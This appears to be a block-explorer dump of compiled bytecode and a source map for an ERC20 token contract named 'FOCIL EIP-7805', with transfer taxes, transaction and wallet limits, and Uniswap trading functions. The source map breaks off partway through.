545f0361106857600b54600c541061105a5743611065565b6110656001436119f9565b81555b61109f565b6001600160a01b0385165f90815260106020526040902081548154108061109357508154155b1561109d57805482555b505b506110d7565b6001600160a01b0384165f90815260106020526040902060115481546110ca916114ab565b6001820155426002909101555b6110e3848484846114ec565b50505050565b5f818484111561110c5760405162461bcd60e51b81526004016104b59190611701565b505f61111884866119f9565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116757611167611a0c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112079190611969565b8160018151811061121a5761121a611a0c565b60200260200101906001600160a01b031690816001600160a01b031681525050611265307f0000000000000000000000000000000000000000000000000000000000000000846109e4565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906112b99085905f90869030904290600401611a20565b5f604051808303815f87803b1580156112d0575f80fd5b505af11580156112e2573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610488573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461135090826114ab565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461137e9082611516565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610afb9085815260200190565b5f825f036113e057505f610392565b5f6113eb838561191d565b9050826113f88583611a91565b1461144f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b5565b9392505050565b5f61144f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611574565b5f8183116114a5578261144f565b50919050565b5f61144f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110e9565b5f6114f88584846115a0565b905061150f85858361150a87876114ab565b611650565b5050505050565b5f8061152283856119ce565b90508381101561144f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b5565b5f81836115945760405162461bcd60e51b81526004016104b59190611701565b505f6111188486611a91565b6004545f9081906001600160a01b03908116908616036115cc57600f546115c790856113d1565b6115ce565b835b9050821561164857305f908152600160205260409020546115ef9084611516565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461167290836114ab565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116a09082611516565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f39085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561172d57858101830151858201604001528201611711565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109e1575f80fd5b5f8060408385031215611772575f80fd5b823561177d8161174d565b946020939093013593505050565b5f805f6060848603121561179d575f80fd5b83356117a88161174d565b925060208401356117b88161174d565b929592945050506040919091013590565b5f602082840312156117d9575f80fd5b813561144f8161174d565b5f80604083850312156117f5575f80fd5b82356118008161174d565b915060208301356118108161174d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561186957815f190482111561184f5761184f61181b565b8085161561185c57918102915b93841c9390800290611834565b509250929050565b5f8261187f57506001610392565b8161188b57505f610392565b81600181146118a157600281146118ab576118c7565b6001915050610392565b60ff8411156118bc576118bc61181b565b50506001821b610392565b5060208310610133831016604e8410600b84101617156118ea575081810a610392565b6118f4838361182f565b805f19048211156119075761190761181b565b029392505050565b5f61144f60ff841683611871565b80820281158282048414176103925761039261181b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611979575f80fd5b815161144f8161174d565b5f805f60608486031215611996575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119bf575f80fd5b8151801515811461144f575f80fd5b808201808211156103925761039261181b565b5f600182016119f2576119f261181b565b5060010190565b818103818111156103925761039261181b565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a705784516001600160a01b031683529383019391830191600101611a4b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aab57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e291c4694d84afdbad54c7b15771234cb407d0f314a5920c051cec427f9a1aa964736f6c63430008170033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102f7578063bf474bed14610195578063c9567bf914610316578063dd62ed3e1461032a578063f42938901461036e575f80fd5b8063751039fc146102635780637d1db4a5146102775780638da5cb5b1461028c5780638f9a55c0146102b257806395d89b41146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806351bc3c851461020557806370a082311461021b578063715018a61461024f575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d464f43494c204549502d3738303560901b60208201525b60405161015d9190611701565b60405180910390f35b348015610171575f80fd5b50610185610180366004611761565b610382565b604051901515815260200161015d565b3480156101a0575f80fd5b506101a9610398565b60405190815260200161015d565b3480156101c2575f80fd5b506101a96103b4565b3480156101d6575f80fd5b506101856101e536600461178b565b6103d4565b3480156101f5575f80fd5b506040516009815260200161015d565b348015610210575f80fd5b5061021961043b565b005b348015610226575f80fd5b506101a96102353660046117c9565b6001600160a01b03165f9081526001602052604090205490565b34801561025a575f80fd5b5061021961048c565b34801561026e575f80fd5b50610219610506565b348015610282575f80fd5b506101a9600d5481565b348015610297575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102bd575f80fd5b506101a9600e5481565b3480156102d2575f80fd5b506040805180820190915260088152674549502d3738303560c01b6020820152610150565b348015610302575f80fd5b50610185610311366004611761565b6105b7565b348015610321575f80fd5b506102196105c3565b348015610335575f80fd5b506101a96103443660046117e4565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610379575f80fd5b506102196109b8565b5f61038e3384846109e4565b5060015b92915050565b6103a46009600a61190f565b6103b1906298968061191d565b81565b5f6103c16009600a61190f565b6103cf90633b9aca0061191d565b905090565b5f6103e0848484610b08565b610431843361042c85604051806060016040528060288152602001611ab1602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110e9565b6109e4565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461045a575f80fd5b305f9081526001602052604090205480156104785761047881611121565b47801561048857610488816112f7565b5050565b5f546001600160a01b031633146104be5760405162461bcd60e51b81526004016104b590611934565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052f5760405162461bcd60e51b81526004016104b590611934565b61053b6009600a61190f565b61054990633b9aca0061191d565b600d556105586009600a61190f565b61056690633b9aca0061191d565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105966009600a61190f565b6105a490633b9aca0061191d565b60405190815260200160405180910390a1565b5f61038e338484610b08565b5f546001600160a01b031633146105ec5760405162461bcd60e51b81526004016104b590611934565b601254600160a01b900460ff16156106465760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b5565b610685307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106776009600a61190f565b61042c90633b9aca0061191d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107059190611969565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610770573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107949190611969565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108029190611969565b60128054600162ff000160a01b0319166001600160a01b0392831617600160b01b1790557f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d719473061086d816001600160a01b03165f9081526001602052604090205490565b5f806108805f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061090b9190611984565b505060125460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af115801561097e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a291906119af565b506012805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b0316146109d7575f80fd5b476109e1816112f7565b50565b6001600160a01b038316610a465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b038216610aa75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b5f8111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b5565b601254600160b01b900460ff161580610c515750601254600160a81b900460ff165b15610c6657610c6183838361132e565b505050565b5f80546001600160a01b03858116911614801590610c9157505f546001600160a01b03848116911614155b8015610cab57506004546001600160a01b03848116911614155b15610f4f57610cdc6064610cd6600954600c5411610ccb57600554610ccf565b6007545b85906113d1565b90611456565b6012549091506001600160a01b038581169116148015610d2e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610d5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3857600d54821115610da95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b5565b600e5482610dcb856001600160a01b03165f9081526001602052604090205490565b610dd591906119ce565b1115610e235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b5565b600c8054905f610e32836119e1565b91905055505b6012546001600160a01b038481169116148015610e5e57506001600160a01b0384163014155b15610e8b57610e886064610cd6600a54600c5411610e7e57600654610ccf565b60085485906113d1565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610ec157506012546001600160a01b038581169116145b8015610ed65750601254600160b01b900460ff165b8015610ef95750610ee96009600a61190f565b610ef6906298968061191d565b81115b8015610f085750600b54600c54115b15610f4d57610f3b610f3684610f3184610f246009600a61190f565b610f31906298968061191d565b611497565b611121565b478015610f4b57610f4b476112f7565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8c57506001600160a01b0383165f9081526003602052604090205460ff165b8015610fa157506001600160a01b0384163014155b8015610fb657506001600160a01b0383163014155b15610fc057436011555b6001600160a01b0384165f9081526003602052604090205460ff1615801561100057506001600160a01b0383165f9081526003602052604090205460ff16155b156110d7576012546001600160a01b038481169116146110a5576001600160a01b038084165f908152601060205260409020601254909186811691160361106d5780545f0361106857600b54600c541061105a5743611065565b6110656001436119f9565b81555b61109f565b6001600160a01b0385165f90815260106020526040902081548154108061109357508154155b1561109d57805482555b505b506110d7565b6001600160a01b0384165f90815260106020526040902060115481546110ca916114ab565b6001820155426002909101555b6110e3848484846114ec565b50505050565b5f818484111561110c5760405162461bcd60e51b81526004016104b59190611701565b505f61111884866119f9565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116757611167611a0c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112079190611969565b8160018151811061121a5761121a611a0c565b60200260200101906001600160a01b031690816001600160a01b031681525050611265307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846109e4565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906112b99085905f90869030904290600401611a20565b5f604051808303815f87803b1580156112d0575f80fd5b505af11580156112e2573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610488573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461135090826114ab565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461137e9082611516565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610afb9085815260200190565b5f825f036113e057505f610392565b5f6113eb838561191d565b9050826113f88583611a91565b1461144f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b5565b9392505050565b5f61144f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611574565b5f8183116114a5578261144f565b50919050565b5f61144f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110e9565b5f6114f88584846115a0565b905061150f85858361150a87876114ab565b611650565b5050505050565b5f8061152283856119ce565b90508381101561144f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b5565b5f81836115945760405162461bcd60e51b81526004016104b59190611701565b505f6111188486611a91565b6004545f9081906001600160a01b03908116908616036115cc57600f546115c790856113d1565b6115ce565b835b9050821561164857305f908152600160205260409020546115ef9084611516565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461167290836114ab565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546116a09082611516565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f39085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561172d57858101830151858201604001528201611711565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109e1575f80fd5b5f8060408385031215611772575f80fd5b823561177d8161174d565b946020939093013593505050565b5f805f6060848603121561179d575f80fd5b83356117a88161174d565b925060208401356117b88161174d565b929592945050506040919091013590565b5f602082840312156117d9575f80fd5b813561144f8161174d565b5f80604083850312156117f5575f80fd5b82356118008161174d565b915060208301356118108161174d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561186957815f190482111561184f5761184f61181b565b8085161561185c57918102915b93841c9390800290611834565b509250929050565b5f8261187f57506001610392565b8161188b57505f610392565b81600181146118a157600281146118ab576118c7565b6001915050610392565b60ff8411156118bc576118bc61181b565b50506001821b610392565b5060208310610133831016604e8410600b84101617156118ea575081810a610392565b6118f4838361182f565b805f19048211156119075761190761181b565b029392505050565b5f61144f60ff841683611871565b80820281158282048414176103925761039261181b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611979575f80fd5b815161144f8161174d565b5f805f60608486031215611996575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119bf575f80fd5b8151801515811461144f575f80fd5b808201808211156103925761039261181b565b5f600182016119f2576119f261181b565b5060010190565b818103818111156103925761039261181b565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a705784516001600160a01b031683529383019391830191600101611a4b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aab57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e291c4694d84afdbad54c7b15771234cb407d0f314a5920c051cec427f9a1aa964736f6c63430008170033

Deployed Bytecode Sourcemap

3602:10220:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5701:83;;;;;;;;;;-1:-1:-1;5771:5:0;;;;;;;;;;;;-1:-1:-1;;;5771:5:0;;;;5701:83;;;;;;;:::i;:::-;;;;;;;;6534:161;;;;;;;;;;-1:-1:-1;6534:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6534:161:0;1023:187:1;4660:61:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4660:61:0;1215:177:1;5978:95:0;;;;;;;;;;;;;:::i;6963:381::-;;;;;;;;;;-1:-1:-1;6963:381:0;;;;;:::i;:::-;;:::i;5887:83::-;;;;;;;;;;-1:-1:-1;5887:83:0;;4271:1;2000:36:1;;1988:2;1973:18;5887:83:0;1858:184:1;13239:348:0;;;;;;;;;;;;;:::i;:::-;;6081:119;;;;;;;;;;-1:-1:-1;6081:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6174:18:0;6147:7;6174:18;;;:9;:18;;;;;;;6081:119;2681:146;;;;;;;;;;;;;:::i;12392:157::-;;;;;;;;;;;;;:::i;4464:53::-;;;;;;;;;;;;;;;;2467:79;;;;;;;;;;-1:-1:-1;2505:7:0;2532:6;2467:79;;-1:-1:-1;;;;;2532:6:0;;;2445:51:1;;2433:2;2418:18;2467:79:0;2299:203:1;4524:55:0;;;;;;;;;;;;;;;;5792:87;;;;;;;;;;-1:-1:-1;5864:7:0;;;;;;;;;;;;-1:-1:-1;;;5864:7:0;;;;5792:87;;6208:167;;;;;;;;;;-1:-1:-1;6208:167:0;;;;;:::i;:::-;;:::i;12657:574::-;;;;;;;;;;;;;:::i;6383:143::-;;;;;;;;;;-1:-1:-1;6383:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6491:18:0;;;6464:7;6491:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6383:143;13632:187;;;;;;;;;;;;;:::i;6534:161::-;6609:4;6626:39;965:10;6649:7;6658:6;6626:8;:39::i;:::-;-1:-1:-1;6683:4:0;6534:161;;;;;:::o;4660:61::-;4708:13;4271:1;4708:2;:13;:::i;:::-;4697:24;;:8;:24;:::i;:::-;4660:61;:::o;5978:95::-;6031:7;4326:13;4271:1;4326:2;:13;:::i;:::-;4313:26;;:10;:26;:::i;:::-;6051:14;;5978:95;:::o;6963:381::-;7061:4;7078:36;7088:6;7096:9;7107:6;7078:9;:36::i;:::-;7125:189;7148:6;965:10;7196:107;7252:6;7196:107;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7196:19:0;;;;;;:11;:19;;;;;;;;965:10;7196:33;;;;;;;;;;:55;:107::i;:::-;7125:8;:189::i;:::-;-1:-1:-1;7332:4:0;6963:381;;;;;:::o;13239:348::-;13303:10;;-1:-1:-1;;;;;13303:10:0;965;-1:-1:-1;;;;;13289:24:0;;13281:33;;;;;;13364:4;13325:20;6174:18;;;:9;:18;;;;;;13384:14;;13381:73;;13412:30;13429:12;13412:16;:30::i;:::-;13483:21;13518:12;;13515:65;;13544:24;13557:10;13544:12;:24::i;:::-;13270:317;;13239:348::o;2681:146::-;2594:6;;-1:-1:-1;;;;;2594:6:0;965:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;;;;;;;;;2788:1:::1;2772:6:::0;;2751:40:::1;::::0;-1:-1:-1;;;;;2772:6:0;;::::1;::::0;2751:40:::1;::::0;2788:1;;2751:40:::1;2817:1;2802:17:::0;;-1:-1:-1;;;;;;2802:17:0::1;::::0;;2681:146::o;12392:157::-;2594:6;;-1:-1:-1;;;;;2594:6:0;965:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;4326:13:::1;4271:1;4326:2;:13;:::i;:::-;4313:26;::::0;:10:::1;:26;:::i;:::-;12445:12;:20:::0;4326:13:::1;4271:1;4326:2;:13;:::i;:::-;4313:26;::::0;:10:::1;:26;:::i;:::-;12476:14;:22:::0;12514:27:::1;4326:13;4271:1;4326:2;:13;:::i;:::-;4313:26;::::0;:10:::1;:26;:::i;:::-;12514:27;::::0;1361:25:1;;;1349:2;1334:18;12514:27:0::1;;;;;;;12392:157::o:0;6208:167::-;6286:4;6303:42;965:10;6327:9;6338:6;6303:9;:42::i;12657:574::-;2594:6;;-1:-1:-1;;;;;2594:6:0;965:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;12721:11:::1;::::0;-1:-1:-1;;;12721:11:0;::::1;;;12720:12;12712:47;;;::::0;-1:-1:-1;;;12712:47:0;;5145:2:1;12712:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12712:47:0::1;4943:347:1::0;12712:47:0::1;12770:58;12787:4;12802:15;4326:13;4271:1;4326:2;:13;:::i;:::-;4313:26;::::0;:10:::1;:26;:::i;12770:58::-;12871:15;-1:-1:-1::0;;;;;12871:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12853:55:0::1;;12917:4;12923:15;-1:-1:-1::0;;;;;12923:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12853:93;::::0;-1:-1:-1;;;;;;12853:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;12853:93:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;12853:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12839:13;:107:::0;;-1:-1:-1;;;;;;12957:18:0;-1:-1:-1;;;;;12839:107:0;;::::1;12957:18:::0;-1:-1:-1;;;12957:18:0::1;::::0;;12986:15:::1;:31;;13024:21;13055:4;13061:24;13055:4:::0;-1:-1:-1;;;;;6174:18:0;6147:7;6174:18;;;:9;:18;;;;;;;6081:119;13061:24:::1;13086:1;13088::::0;13090:7:::1;2505::::0;2532:6;-1:-1:-1;;;;;2532:6:0;;2467:79;13090:7:::1;12986:128;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12986:128:0;;;-1:-1:-1;;;;;6219:15:1;;;12986:128:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13098:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12986:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13132:13:0::1;::::0;13125:71:::1;::::0;-1:-1:-1;;;13125:71:0;;-1:-1:-1;;;;;13163:15:0::1;6975:32:1::0;;13125:71:0::1;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13132:13:0;;::::1;::::0;-1:-1:-1;13125:29:0::1;::::0;6930:18:1;;13125:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13207:11:0::1;:16:::0;;-1:-1:-1;;;;13207:16:0::1;-1:-1:-1::0;;;13207:16:0::1;::::0;;12657:574::o;13632:187::-;13696:10;;-1:-1:-1;;;;;13696:10:0;965;-1:-1:-1;;;;;13682:24:0;;13674:33;;;;;;13747:21;13779:32;13747:21;13779:12;:32::i;:::-;13663:156;13632:187::o;7352:335::-;-1:-1:-1;;;;;7445:19:0;;7437:68;;;;-1:-1:-1;;;7437:68:0;;7546:2:1;7437:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7437:68:0;7344:400:1;7437:68:0;-1:-1:-1;;;;;7524:21:0;;7516:68;;;;-1:-1:-1;;;7516:68:0;;7951:2:1;7516:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7516:68:0;7749:398:1;7516:68:0;-1:-1:-1;;;;;7595:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7647:32;;1361:25:1;;;7647:32:0;;1334:18:1;7647:32:0;;;;;;;;7352:335;;;:::o;7695:3038::-;-1:-1:-1;;;;;7788:18:0;;7780:68;;;;-1:-1:-1;;;7780:68:0;;8354:2:1;7780:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7780:68:0;8152:401:1;7780:68:0;-1:-1:-1;;;;;7867:16:0;;7859:64;;;;-1:-1:-1;;;7859:64:0;;8760:2:1;7859:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7859:64:0;8558:399:1;7859:64:0;7954:1;7942:11;:13;7934:67;;;;-1:-1:-1;;;7934:67:0;;9164:2:1;7934:67:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7934:67:0;8962:405:1;7934:67:0;8019:11;;-1:-1:-1;;;8019:11:0;;;;8018:12;;:22;;-1:-1:-1;8034:6:0;;-1:-1:-1;;;8034:6:0;;;;8018:22;8014:112;;;8058:35;8073:4;8078:2;8081:11;8058:14;:35::i;:::-;7695:3038;;;:::o;8014:112::-;8138:17;2532:6;;-1:-1:-1;;;;;8172:15:0;;;2532:6;;8172:15;;;;:32;;-1:-1:-1;2505:7:0;2532:6;-1:-1:-1;;;;;8191:13:0;;;2532:6;;8191:13;;8172:32;:51;;;;-1:-1:-1;8213:10:0;;-1:-1:-1;;;;;8207:16:0;;;8213:10;;8207:16;;8172:51;8168:1328;;;8252:84;8332:3;8252:75;8281:15;;8269:9;;:27;8268:58;;8312:14;;8268:58;;;8298:12;;8268:58;8252:11;;:15;:75::i;:::-;:79;;:84::i;:::-;8365:13;;8240:96;;-1:-1:-1;;;;;;8357:21:0;;;8365:13;;8357:21;:55;;;;;8396:15;-1:-1:-1;;;;;8382:30:0;:2;-1:-1:-1;;;;;8382:30:0;;;8357:55;:84;;;;-1:-1:-1;;;;;;8419:22:0;;;;;;:18;:22;;;;;;;;8417:24;8357:84;8353:399;;;8505:12;;8492:11;:25;;8462:103;;;;-1:-1:-1;;;8462:103:0;;9574:2:1;8462:103:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:27;9632:18;;;9625:55;9697:18;;8462:103:0;9372:349:1;8462:103:0;8643:14;;8628:11;8592:35;8624:2;-1:-1:-1;;;;;6174:18:0;6147:7;6174:18;;;:9;:18;;;;;;;6081:119;8592:35;:47;;;;:::i;:::-;:65;;8584:122;;;;-1:-1:-1;;;8584:122:0;;10058:2:1;8584:122:0;;;10040:21:1;10097:2;10077:18;;;10070:30;10136:28;10116:18;;;10109:56;10182:18;;8584:122:0;9856:350:1;8584:122:0;8725:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8353:399;8775:13;;-1:-1:-1;;;;;8771:17:0;;;8775:13;;8771:17;:41;;;;-1:-1:-1;;;;;;8792:20:0;;8807:4;8792:20;;8771:41;8768:177;;;8845:84;8925:3;8845:75;8872:16;;8862:9;;:26;8861:58;;8904:15;;8861:58;;;8890:13;;8845:11;;:15;:75::i;:84::-;8833:96;;8768:177;9010:4;8961:28;6174:18;;;:9;:18;;;;;;9036:6;;-1:-1:-1;;;9036:6:0;;;;9035:7;:27;;;;-1:-1:-1;9049:13:0;;-1:-1:-1;;;;;9045:17:0;;;9049:13;;9045:17;9035:27;:42;;;;-1:-1:-1;9066:11:0;;-1:-1:-1;;;9066:11:0;;;;9035:42